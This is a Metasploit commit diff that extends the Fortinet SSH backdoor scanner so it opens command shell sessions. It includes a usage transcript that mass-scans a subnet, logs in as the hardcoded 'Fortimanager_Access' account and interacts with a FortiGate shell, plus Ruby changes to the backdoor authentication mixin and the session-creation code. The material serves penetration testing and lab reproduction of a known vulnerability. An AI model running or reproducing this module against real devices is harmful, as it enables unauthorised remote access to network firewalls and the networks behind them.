Land #9602, Create sessions with the Fortinet SSH backdoor scanner

MS-2855/keylogger-mettle-extension
Brent Cook 2018-02-22 06:04:18 -06:00
commit 855fbc1689
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
3 changed files with 122 additions and 19 deletions

View File

@ -0,0 +1,63 @@
## Intro
This module scans for the Fortinet SSH backdoor and creates sessions.
## Setup
1. `git clone https://github.com/nixawk/labs`
2. Import `FortiGate-Backdoor-VM/FortiGate-VM.ovf` into VMware
3. <http://help.fortinet.com/fweb/580/Content/FortiWeb/fortiweb-admin/network_settings.htm>
## Usage
```
msf5 > use auxiliary/scanner/ssh/fortinet_backdoor
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24
rhosts => 192.168.212.0/24
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100
threads => 100
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run
[*] Scanned 54 of 256 hosts (21% complete)
[+] 192.168.212.128:22 - Logged in as Fortimanager_Access
[*] Scanned 65 of 256 hosts (25% complete)
[*] Scanned 78 of 256 hosts (30% complete)
[*] Command shell session 1 opened (192.168.212.1:40605 -> 192.168.212.128:22) at 2018-02-21 21:35:11 -0600
[*] Scanned 104 of 256 hosts (40% complete)
[*] Scanned 141 of 256 hosts (55% complete)
[*] Scanned 154 of 256 hosts (60% complete)
[*] Scanned 180 of 256 hosts (70% complete)
[*] Scanned 205 of 256 hosts (80% complete)
[*] Scanned 240 of 256 hosts (93% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1
[*] Starting interaction with 1...
FortiGate-VM # get system status
Version: FortiGate-VM v5.0,build0228,130809 (GA Patch 4)
Virus-DB: 16.00560(2012-10-19 08:31)
Extended DB: 1.00000(2012-10-17 15:46)
Extreme DB: 1.00000(2012-10-17 15:47)
IPS-DB: 4.00345(2013-05-23 00:39)
IPS-ETDB: 0.00000(2000-00-00 00:00)
Serial-Number: FGVM00UNLICENSED
Botnet DB: 1.00000(2012-05-28 22:51)
License Status: Evaluation license expired
Evaluation License Expires: Thu Jan 28 13:05:41 2016
BIOS version: 04000002
Log hard disk: Need format
Hostname: FortiGate-VM
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 10
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Branch point: 228
Release Version Information: GA Patch 4
System time: Wed Feb 21 13:13:43 2018
FortiGate-VM #
```

View File

@ -1,5 +1,6 @@
# -*- coding: binary -*-
# https://www.ietf.org/rfc/rfc4252.txt
# https://www.ietf.org/rfc/rfc4256.txt
require 'net/ssh'
@ -11,21 +12,21 @@ module Msf::Exploit::Remote::Fortinet
USERAUTH_INFO_RESPONSE = 61
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }
send_message(userauth_request(
=begin
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
string service name (US-ASCII)
string "keyboard-interactive" (US-ASCII)
string language tag (as defined in [RFC-3066])
string submethods (ISO-10646 UTF-8)
string user name
string service name
string "password"
boolean FALSE
string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
=end
username,
service_name,
'keyboard-interactive',
'',
''
'password',
false,
password || ''
))
loop do
@ -37,7 +38,22 @@ module Msf::Exploit::Remote::Fortinet
return true
when USERAUTH_FAILURE
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
return false
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }
send_message(userauth_request(
=begin
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
string service name (US-ASCII)
string "keyboard-interactive" (US-ASCII)
string language tag (as defined in [RFC-3066])
string submethods (ISO-10646 UTF-8)
=end
username,
service_name,
'keyboard-interactive',
'',
''
))
when USERAUTH_INFO_REQUEST
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }

View File

@ -3,10 +3,14 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
# XXX: This shouldn't be necessary but is now
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SSH
include Msf::Exploit::Remote::Fortinet
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Auxiliary::Report
def initialize(info = {})
@ -45,6 +49,8 @@ class MetasploitModule < Msf::Auxiliary
ssh_opts = {
port: rport,
# The auth method is converted into a class name for instantiation,
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
auth_methods: ['fortinet-backdoor'],
non_interactive: true,
config: false,
@ -63,15 +69,33 @@ class MetasploitModule < Msf::Auxiliary
return
end
if ssh
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: ssh.transport.server_version.version
)
end
return unless ssh
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
version = ssh.transport.server_version.version
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)
shell = Net::SSH::CommandStream.new(ssh)
return unless shell
info = "Fortinet SSH Backdoor (#{version})"
ds_merge = {
'USERNAME' => 'Fortimanager_Access'
}
start_session(self, info, ds_merge, false, shell.lsock)
# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
end
def rport